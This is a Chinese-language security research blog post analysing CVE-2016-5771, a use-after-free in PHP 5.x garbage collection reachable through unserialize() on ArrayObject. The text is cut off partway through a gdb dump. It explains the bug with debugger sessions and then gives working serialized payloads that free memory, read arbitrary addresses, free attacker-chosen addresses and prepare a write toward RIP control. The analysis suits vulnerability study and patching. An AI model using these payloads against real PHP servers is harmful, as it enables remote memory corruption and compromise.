PHP垃圾回收机制UAF漏洞分析

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

1.PHP垃圾回收机制简介

因为PHP当中存在循环引用,仅以refcount计数器作为垃圾回收机制是不够的,因此在PHP5.3中引入了新的垃圾回收机制。
<?php
$a = array('one');
$a[] = &$a;
unset($a);
?>

在PHP5.2及以前的版本中,无法回收变量$a的内存。

在PHP5.3以后的新垃圾回收机制算法,以颜色标记的方法来判断垃圾:

  1. 将所有数组和对象zval节点放入gcrootbuffer,并标记为紫色(潜在垃圾,已放入缓冲区)。当节点缓冲区被塞满(默认为10000)或调用gccollectcycles()时,开始进行垃圾回收。
  2. 以深度优先对zval及其子节点所包含的zval进行refcount减1操作,并标记为灰色(已减一)。
  3. 再次以深度优先判断每一个节点包含的zval的值,如果zval的refcount等于0,那么将其标记成白色(垃圾)。如果zval的refcount大于0,那么将对此zval以及其子节点进行refcount加1还原,同时将这些zval的颜色变成黑色(正常)。
  4. 遍历zval节点,将C中标记成白色的节点zval释放掉。

垃圾回收算法代码如下:
Zend/zend_gc.c
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[...]
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
[...]
}

其中重要的就是gcmarkroots、gcscanroots和gccollectroots这三个函数:

2.CVE-2016-5771分析

poc:
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
?>

序列字符串的本意是定义一个数组,其中包含一个ArrayObject对象,ArrayObject里又包含一个内部数组,内部数组成员是两个引用,一个指向外部数组,一个指向内部数组。但是经过反序列化和垃圾回收之后,外部数组的内存被释放了但PHP并不知道,从而导致Use After Free。

1outer_inner

预期的结果应该是:
array(1) { // outer_array
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // inner_array
[1]=>
// Reference to inner_array
[2]=>
// Reference to outer_array
}
}
}

而实际的运行结果是:
string(4) "bbbb"

我们就来调试看一下到底发生了什么。首先编辑PHP自带的.gdbinit,在末尾出添加:
define dumpgc
set $current = gc_globals.roots.next
printf "GC buffer content:\n"
while $current != &gc_globals.roots
printzv $current.u.pz
set $current = $current.next
end
end

然后在gdb中输入:
(gdb) source .gdbinit

这样就可以直接用dumpgc命令来查看gcrootbuffer中的内容了。我们把断点下在gccollectcycles()函数上,看看垃圾回收过程中究竟发生了什么。
(gdb) b zend_gc.c:gc_collect_cycles
Breakpoint 1 at 0x98dc4a: file /root/php-5.6.20/Zend/zend_gc.c, line 779.
(gdb) r 1.php
Starting program: /root/php-5.6.20/sapi/cli/php 1.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:779
779 int count = 0;
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd0f40] (refcount=2) array(1): {
1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1
}
[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7fd0f40] (refcount=2) array(1):
}
[0x1306380] (refcount=8074858) NULL
[0x7ffff7fce5d8] (refcount=2) array(1): {
0 => [0x7ffff7fce660] (refcount=1) string(5): “1.php”
}
(gdb)

在执行gcmarkroots()之前,gcrootbuffer中和我们poc相关的zval有两条,分别是:

外部数组:
[0x7ffff7fd0f40] (refcount=2) array(1): {
1 => [0x7ffff7fd2c80] (refcount=1) object(ArrayObject) #1
}

内部数组:
[0x7ffff7fd1cd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7fd1cd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7fd0f40] (refcount=2) array(1):
}

可以看到内部数组的两个成员,一个指向自身,一个指向外部数组。然后我们执行完gcmarkroots再来看一下:
(gdb) b zend_gc.c:611
Breakpoint 2 at 0x98d574: file /root/php-5.6.20/Zend/zend_gc.c, line 611.
(gdb) c
Continuing.

Breakpoint 2, gc_scan_roots () at /root/php-5.6.20/Zend/zend_gc.c:611
611 gc_root_buffer *current = GC_G(roots).next;
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd0f40] (refcount=0) array(1): {
1 => [0x7ffff7fd2c80] (refcount=0) object(ArrayObject) #1
}
[0x7ffff7fce5d8] (refcount=2) array(1): {
0 => [0x7ffff7fce660] (refcount=0) string(5): “1.php”
}
(gdb)

可以看到外部数组的refcount被修改成0,内部数组已经被移出buffer了。这样一来后面就会把外部数组的内存给释放了:
(gdb) b zend_gc.c:846
Breakpoint 4 at 0x98e043: file /root/php-5.6.20/Zend/zend_gc.c, line 846.
(gdb) c
Continuing.
Breakpoint 4, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:846
846 FREE_ZVAL_EX(&p->z);
(gdb) printzv &p->z
[0x7ffff7fd0f40] (refcount=0) NULL
(gdb) s
_efree (ptr=0x7ffff7fd0f40) at /root/php-5.6.20/Zend/zend_alloc.c:2436
2436 if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {
(gdb)

调试可以发现其中的操作逻辑:

  1. 首先用zvalmarkgrey把外部数组标记为灰色;
  2. 对外部数组的子节点,即ArrayObject对象,标记为灰色,refcount减一,此时ArrayObject的refcount为0;
  3. 对ArrayObject的子节点,即内部数组的两个成员(分别指向外部数组和内部数组)分别调用zvalmarkgrey,实际又会对外部数组和内部数组进行操作。因为外部数组已经被标记过灰色,所以直接返回。而内部数组被标记为灰色。两个数组分别refcount减一,此时两个数组refcount都是1;
  4. 然后又会对内部数组成员(分别指向外部数组和内部数组)调用zvalmarkgrey,这时会再次把外部数组和内部数组的refcount减一,此时外部数组和内部数组的refcount都已经是0了。注意此步是漏洞产生的关键所在。

这里看出漏洞的成因,是对ArrayObject成员refcount进行了一次减一操作,然后又对内部数组的成员refcount进行了一次减一操作,导致外部数组的refcount变成了0,而在我们的PHP脚本中$outer_array这个变量还引用着外部数组的zval呢!

其实ArrayObject的成员和内部数组的成员是相同的,都是外部数组和内部数组的引用,那么为什么分别会对ArrayObject的成员和内部数组的成员refcount重复进行减一呢?看下zvalmarkgrey的实现:
static void zval_mark_grey(zval *pz TSRMLS_DC)
{
Bucket *p;

tail_call:
if (GC_ZVAL_GET_COLOR(pz) != GC_GREY) {
p = NULL;
GC_BENCH_INC(zval_marked_grey);
GC_ZVAL_SET_COLOR(pz, GC_GREY);

if (Z_TYPE_P(pz) == IS_OBJECT && EG(objects_store).object_buckets) {
zend_object_get_gc_t get_gc;
struct _store_object *obj = &EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].bucket.obj;

obj->refcount–;
if (GC_GET_COLOR(obj->buffered) != GC_GREY) {
GC_BENCH_INC(zobj_marked_grey);
GC_SET_COLOR(obj->buffered, GC_GREY);
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
int i, n;
zval **table;
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);

当对ArrayObject对象调用zvalmarkgrey时,会ZOBJHANDLERP(pz, getgc)获取对象的getgc处理函数,这个函数用来返回对象子成员,返回的是一个HashTable。而由于PHP没有给ArrayObject对象实现gc函数,这时会ZOBJHANDLERP(object, getproperties)(object TSRMLSCC)来获取对象getproperties处理函数,这导致最终调用的是splarraygetproperties。
static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
[...]
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
[...]
return result;
}

splarraygetproperties调用splarraygethash_table返回了ArrayObject内部数组的HashTable,这最终导致了垃圾回收算法从ArrayObject对象获取子成员后对外部数组和内部数组的refcount重复减一,并使得最终释放掉了本不该释放的内存。

3.漏洞利用

在实际环境中利用此漏洞要解决几个问题,首先是漏洞环境一般不会手工调用gccollectcycles(),所以就需要在单一unserialize()调用的情况下完成垃圾回收。

在PHP中默认的gcrootbuffer缓冲区大小是100000,所以只要构造一个超过这个数量元素的数组就可以自动触发gccollectcycles()。
#define GC_ROOT_BUFFER_MAX_ENTRIES 10000

下面代码可以自动触发垃圾回收,无需手工调用gccollectcycles():
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
$trigger_gc_serialized_string = 'a:'.(NUM_TRIGGER_GC_ELEMENTS).':{'.$overflow_gc_buffer.'}';
unserialize($trigger_gc_serialized_string);

虽然可以在unserialize自动触发gccollectcycles()了,但是遇到一个更加棘手的问题:在unserialize函数执行过程中所有元素的refcount要比unserialize结束的时候要大2。所以在unserialize调用gccollectcycles()时并不能利用上面的漏洞把特定元素的refcount置零。解决这个问题的办法是,建立前后两个ArrayObject对象,里面都包含一个数组,数组的元素是指向要被释放的zval元素的引用,这样一来就可以在垃圾回收处理两个ArrayObject对象的时候对其子元素及数组的每个引用减两次,这样要被释放的zval的refcount在最终回收的时候就可以是零而最终被释放。

但是如果把两个ArrayObject和包含引用的数组并列排放的话,就会导致另一个问题:虽然当gcmarkroots和zvalmarkgrey完成的时候目标zval的refcount被置零并且标记为白色,但是后面gcscanroots的时候会首先判断ArrayObject的refcount,当发现ArrayObject的refcount大于0,会把ArrayObject极其子元素全表标记为黑色,而目标zval也是ArrayObject的子元素,因此也会被重新标记为黑色。这样一来最终目标zval就不会被释放了。这里的解决方案是把几个ArrayObject对象放在目标zval的内部,最终构造一个这样的数组:

2poc1

这样一来ArrayObject也会被减掉refcount,在gcmarkroots完成之后目标数组的refcount会被减为0,并且被标记为白色。

经过一系列调整之后得到poc代码:
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Overflow the GC buffer.
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
// The decrementor_object will be initialized with the contents of our target array ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// The following references will point to the $free_me array (id=3) within unserialize.
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Setup our target array i.e. an array that is supposed to be freed during unserialization.
$free_me = 'a:7:{'.$target_references.'i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.'}';
// Increment each decrementor_object reference count by 2.
$adjust_rcs = 'i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;}';
// Trigger the GC and free our target array.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Add our GC trigger and add a reference to the target array.
$payload = 'a:2:{'.$trigger_gc.'i:0;r:3;}';
var_dump(unserialize($payload));

最终构造的目标数组如下:
a:2:{
i:0;a:10007:{
i:0;a:7:{ //要被释放的目标数组
i:0;r:3; //指向目标数组
i:1;r:3; //指向目标数组
i:2;r:3; //指向目标数组
i:3;r:3; //指向目标数组
i:9;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}} //ArrayObject对象成员指向目标数组,用来使目标数组refcount减一
i:99;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}} //ArrayObject对象成员指向目标数组,用来使目标数组refcount减一
i:999;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}} //ArrayObject对象成员指向目标数组,用来使目标数组refcount减一
}
i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;} //增加每个ArrayObject对象的refcount
i:0;a:0:{}...10000... //10000个无用数组用来触发gc_collect_cycles
}
i:0;r:3; //对目标数组的引用
}

我们来调试看一下,当执行完gcmarkroots之后,目标数组0x7ffff7fd62f8的refcount已经变成0了:
Breakpoint 1, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:790
790 gc_mark_roots(TSRMLS_C);
(gdb) n
791 gc_scan_roots(TSRMLS_C);
(gdb) dumpgc
GC buffer content:
[0x7ffff7fd9340] (refcount=2) array(0): {
}
[0x7ffff7fd9288] (refcount=2) array(0): {
}
[0x7ffff7fd62f8] (refcount=0) array(7): {
0 => [0x7ffff7fd62f8] (refcount=0) array(7):
1 => [0x7ffff7fd62f8] (refcount=0) array(7):
2 => [0x7ffff7fd62f8] (refcount=0) array(7):
3 => [0x7ffff7fd62f8] (refcount=0) array(7):
9 => [0x7ffff7fd8700] (refcount=0) object(ArrayObject) #1
99 => [0x7ffff7fd8818] (refcount=0) object(ArrayObject) #2
999 => [0x7ffff7fd8ad8] (refcount=0) object(ArrayObject) #3
}
[0x7ffff7fd8df8] (refcount=1) array(0): {
}
[0x7ffff7fd8b38] (refcount=1) array(0): {
}
[0x7ffff7fd8878] (refcount=1) array(0): {
}
[0x7ffff7fce5b0] (refcount=2) array(1): {
0 => [0x7ffff7fce638] (refcount=0) string(7): "poc.php"
}
(gdb) x/32xb 0x7ffff7fd62f8
0x7ffff7fd62f8: 0x28 0x63 0xfd 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7fd6300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7fd6308: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0x7ffff7fd6310: 0x62 0x03 0x32 0x01 0x00 0x00 0x00 0x00
(gdb)

当我们执行到后面的
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}

再看一下:
Breakpoint 2, gc_collect_cycles () at /root/php-5.6.20/Zend/zend_gc.c:846
846 FREE_ZVAL_EX(&p->z);
(gdb) printzv &p->z
[0x7ffff7fd62f8] (refcount=10) NULL
(gdb) x/32xb 0x7ffff7fd62f8
0x7ffff7fd62f8: 0x28 0x63 0xfd 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7fd6300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7fd6308: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7fd6310: 0xfc 0xff 0xff 0xff 0xff 0xff 0xff 0xff
(gdb) n
847 p = q;
(gdb) x/32xb 0x7ffff7fd62f8
0x7ffff7fd62f8: 0xf0 0x86 0xfd 0xf7 0xff 0x7f 0x00 0x00
0x7ffff7fd6300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7fd6308: 0x0a 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7fd6310: 0xfc 0xff 0xff 0xff 0xff 0xff 0xff 0xff

这里目标数组就已经被释放了,并且这个zval的位置被写入了一个堆地址。

4.任意地址读

因为目标数组以及ArrayObject都已经被释放了,在后面emalloc的时候就会分配到这块内存,所以在后面构造一个string类型的zval里面存放fake_zval,这样就可以达到读任意内存地址的目的。
<?php
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Create a fake zval string which will fill our freed space later on.
$fake_zval_string = pack("Q", 0x400000).pack("Q", 32).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';
// Create a sandwich like structure:
// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE
$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
}
// The decrementor_object will be initialized with the contents of our target array ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// The following references will point to the $free_me array (id=3) within unserialize.
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Setup our target array i.e. an array that is supposed to be freed during unserialization.
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'
}';
// Increment each decrementor_object reference count by 2.
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
// Trigger the GC and free our target array.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Add our GC trigger and add a reference to the target array.
$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';
$a = unserialize($payload);
var_dump($a);
?>

我们构造一个string类型(6)的fakezval(字符串地址0x400000,长度128),这样当vardump访问被释放又重用的zval时,就会把0x400000地址的内存内容读出来。原理是当ArrayObject被释放以后,unserialize会调用unserialize_str来解析后面的$fakezvalstring变量的这个字符串:
S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06"

这时会调用safe_emalloc分配内存,而分配到的内存就是前面被释放的ArrayObject的内存。然后把字符串解析成二进制之后放入这块内存,因此ArrayObject的内存就变成了一个指向0x400000长度为128(0x80)的string类型zval。
[root@localhost php-5.6.20]# sapi/cli/php exp.php
array(5) {
[0]=>
string(24) "@?"
[1]=>
string(24) "@?"
[2]=>
string(24) "@?"
[3]=>
string(24) "@?"
[4]=>
string(128) "ELF>0?B@???@8 @&#@@@@@?
}

可以看到这里读出了php可执行文件的内容了。

5.释放任意地址的内存

因为这个UAF漏洞想要远程利用,我们能控制的只有被反序列化的字符串,而不能控制php脚本内容,因此无法通过释放后重用的方式写任意地址。想要控制程序流程就必须是能够释放任意地址的内存,然后通过反复释放重用堆栈的过程来覆盖堆栈中的JMP_BUF,最后通过触发异常来控制RIP。

通过两次释放内存的方法,我们可以释放任意地址的内存,构造如下反序列化字符串:
//为了方便测试,我把zend_gc.c中的GC_ROOT_BUFFER_MAX_ENTRIES改成了10,这样只要10条数据就会导致垃圾回收。
a:6:{
i:0;a:32:{
i:0;a:11:{ //内部数组1
i:9;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}
i:99;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}
i:999;C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}
i:0;r:3;
i:1;r:3;
i:2;r:3;
i:3;r:3;
i:9999;a:32:{
i:0;a:7:{ //内部数组2
i:9;C:11:"ArrayObject":20:{x:i:0;r:21;;m:a:0:{}}
i:99;C:11:"ArrayObject":20:{x:i:0;r:21;;m:a:0:{}} //数组对象1
i:999;C:11:"ArrayObject":20:{x:i:0;r:21;;m:a:0:{}}
i:0;r:21;
i:1;r:21;
i:2;r:21;
i:3;r:21;
}
i:99999;a:3:{i:0;r:22;i:1;r:26;i:2;r:30;}
i:0;a:0:{}i:0;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:1;S:24:"\01\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:2;S:24:"\02\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:3;S:24:"\03\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:4;S:24:"\04\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:5;S:24:"\05\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:6;S:24:"\06\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:7;S:24:"\dd\cc\bb\aa\00\00\00\00\80\00\00\00\00\00\00\00\ff\ff\ff\ff\06\06\06\06";
i:0;a:0:{}i:8;S:24:"\08\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:9;S:24:"\09\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:10;S:24:"\0a\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:11;S:24:"\0b\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:12;S:24:"\0c\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:13;S:24:"\0d\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:14;S:24:"\0e\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
}
i:4;r:22;
i:5;r:26; //指向数组对象1
i:6;r:30;
}
i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}
i:0;a:0:{}i:0;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:1;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:2;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:3;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:4;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:5;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:6;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:7;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:8;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:9;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:10;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:11;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:12;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:13;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
i:0;a:0:{}i:14;S:24:"\00\00\40\00\00\00\00\00\80\00\00\00\00\00\00\00\06\06\06\06\06\06\06\06";
}
i:0;r:4;
i:1;r:4;
i:2;r:4;
i:3;r:4;
i:4;r:8;
}

这里会触发两次垃圾回收,第一次垃圾回收会释放掉内部数组2,并导致数组对象1被覆盖为下面这个字符串:
i:7;S:24:"\dd\cc\bb\aa\00\00\00\00\80\00\00\00\00\00\00\00\ff\ff\ff\ff\06\06\06\06";

而第二次垃圾回收会释放内部数组1,及其成员变量,内部数组1的成员变量i:5;r:26;指向了数组对象1,而这个数组对象1已经被覆盖成了字符串。

Zend\zend_gc.c:819
/* Destroy zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
GC_G(next_to_free) = p->u.next;
if (Z_TYPE(p->z) == IS_OBJECT) {
if (EG(objects_store).object_buckets &&
EG(objects_store).object_buckets[Z_OBJ_HANDLE(p->z)].valid &&
EG(objects_store).object_buckets[Z_OBJ_HANDLE(p->z)].bucket.obj.refcount <= 0) {
EG(objects_store).object_buckets[Z_OBJ_HANDLE(p->z)].bucket.obj.refcount = 1;
Z_TYPE(p->z) = IS_NULL;
zend_objects_store_del_ref_by_handle_ex(Z_OBJ_HANDLE(p->z), Z_OBJ_HT(p->z) TSRMLS_CC);
}
} else if (Z_TYPE(p->z) == IS_ARRAY) {
Z_TYPE(p->z) = IS_NULL;
zend_hash_destroy(Z_ARRVAL(p->z)); //释放数组成员变量
FREE_HASHTABLE(Z_ARRVAL(p->z));
} else {
zval_dtor(&p->z);
Z_TYPE(p->z) = IS_NULL;
}
p = GC_G(next_to_free);
}

这里会调用zendhashdestroy去释放内部数组1的成员变量,接下来调用:
Zend\zend_execute.h:74
static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC TSRMLS_DC)
{
if (!Z_DELREF_P(zval_ptr)) {
ZEND_ASSERT(zval_ptr != &EG(uninitialized_zval));
GC_REMOVE_ZVAL_FROM_BUFFER(zval_ptr);
zval_dtor(zval_ptr);
efree_rel(zval_ptr);
} else {
if (Z_REFCOUNT_P(zval_ptr) == 1) {
Z_UNSET_ISREF_P(zval_ptr);
}

GC_ZVAL_CHECK_POSSIBLE_ROOT(zval_ptr);
}
}

这里的ZDELREFP宏会把zval_ptr的refcount减一,然后判断是不是0,也就是说我们覆盖的字符串的refcount必须是1才会被释放。因此
S:24:"\dd\cc\bb\aa\00\00\00\00\80\00\00\00\00\00\00\00\ff\ff\ff\ff\06\06\06\06";

这里把refcount设置成0xffffffff,在后面经过一系列操作后refcount会被加2而变成1,然后再减1后恰好是0,这样就会导致释放0xaabbccdd的内存,而这个地址是我们能控制的。我们在gdb中运行,会看到:
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x000000000092b23b in _zend_mm_free_int (heap=0x130ee30, p=0xaabbccdd) at /root/php-5.6.20/Zend/zend_alloc.c:2075
2075 size = ZEND_MM_BLOCK_SIZE(mm_block);
(gdb)

看到会去释放0xaabbccdd的内存,导致了异常。

6.写任意内存

到目前为止我们已经能够读取任意地址的内存,和有条件的写内存。为什么是有条件的写内存呢?因为我们可以释放任意地址内存,并重用这块内存,虽然看起来是可以写任意内存,但是实际上我们释放的内存块要受到长度的限制,PHP中内存管理的内存块的头部是zendmmblock_info这个结构:
typedef struct _zend_mm_block_info {
size_t _size; /* block的大小*/
size_t _prev; /* 计算前一个块有用到*/
} zend_mm_block_info;

因此我们要释放的内存块,前面-0x10个字节处是本内存块的大小,而因为我们重用内存是通过PHP反序列化中的unserialize_str来分配内存,所以必须内存块-0x10出的数值不能太大,要在一个范围之内(0x0C到0x8F)。所以并不是所有内存地址都可以直接通过释放重用的方法来覆盖。

要解决这个问题,需要通过反复释放重用的方式来逐步覆盖。例如加入我们要覆盖0x11223344的内存,就需要利用读任意内存地址的方法从0x11223344开始向前搜索内存,在0x11223344之前找到一块包含XX 00 00 00 00 00 00 00(0xC< XX<0x8F)的内存地址,把它当成一个内存块的长度。然后去释放这个内存块地址,再重用这块内存,并构造一个下一块内存块的zendmmblock_info结构,因为这个长度是我们可以控制的,所以就下一次释放的时候到达我们真正要覆盖的内存地址了。如果两次还不能到达,就再次释放重用。整个过程是这样的:

第一步,向前搜索内存,找到符合条件size的内存块
3seekmem1

第二步,重用覆盖前面搜到的内存,伪造下一个内存块的size
3seekmem2

第三步,重用覆盖内存块2,覆盖最终地址。如果不能再重复第二、第三步。

7.控制RIP

通过前面的方法我们已经可以读写任意内存,下面的问题就是写哪块内存地址,以及写入什么内容。

我们要修改的地址必须是固定的或者我们能够稳定获取的,像函数返回地址这类栈中的地址就不行了。这里我们使用Stefan Esser提出的覆盖jmp_buf的方法。

首先介绍一下jmpbuf,jmpbuf是PHP在C语言层面异常处理的底层实现的要用到的数据结构,具体可以参见zendtry的定义,它是通过调用setjmp/longjmp来实现的,而jmpbuf用于保存恢复调用环境所需的寄存器信息,jmpbuf这个结构保存在栈上面,我们只要覆盖了jmpbuf结构中保存的返回地址RIP的值,那么就等于控制了程序执行流程。

那么怎么得到jmpbuf的地址呢?PHP的zendexecutorglobals->bailout保存指向jmpbuf的指针,我们可以通过漏洞任意地址读来得到zendexecutorglobals中保存的jmpbuf的地址。而zendexecutorglobals的地址对于固定版本的PHP来说也是固定的,在远程利用过程中,我们需要首先通过任意地址读来获取PHP模块(libphp5.so)的地址,然后通过ELF文件的strtab、symtab泄漏executorglobals的地址。

(gdb) p *(zendexecutorglobals *)0x130ab60
$1 = {returnvalueptrptr = 0x0, uninitializedzval = {value = {lval = 0, dval = 0, str = {val = 0x0, len = 0},
ht = 0x0, obj = {handle = 0, handlers = 0x0}, ast = 0x0}, refcount
gc = 2, type = 0 ‘\000’,
isrefgc = 0 ‘\000’}, uninitializedzvalptr = 0x130ab68 <executorglobals+8>, errorzval = {value = {lval = 0,
dval = 0, str = {val = 0x0, len = 0}, ht = 0x0, obj = {handle = 0, handlers = 0x0}, ast = 0x0},
refcount
gc = 1, type = 0 ‘\000’, isref
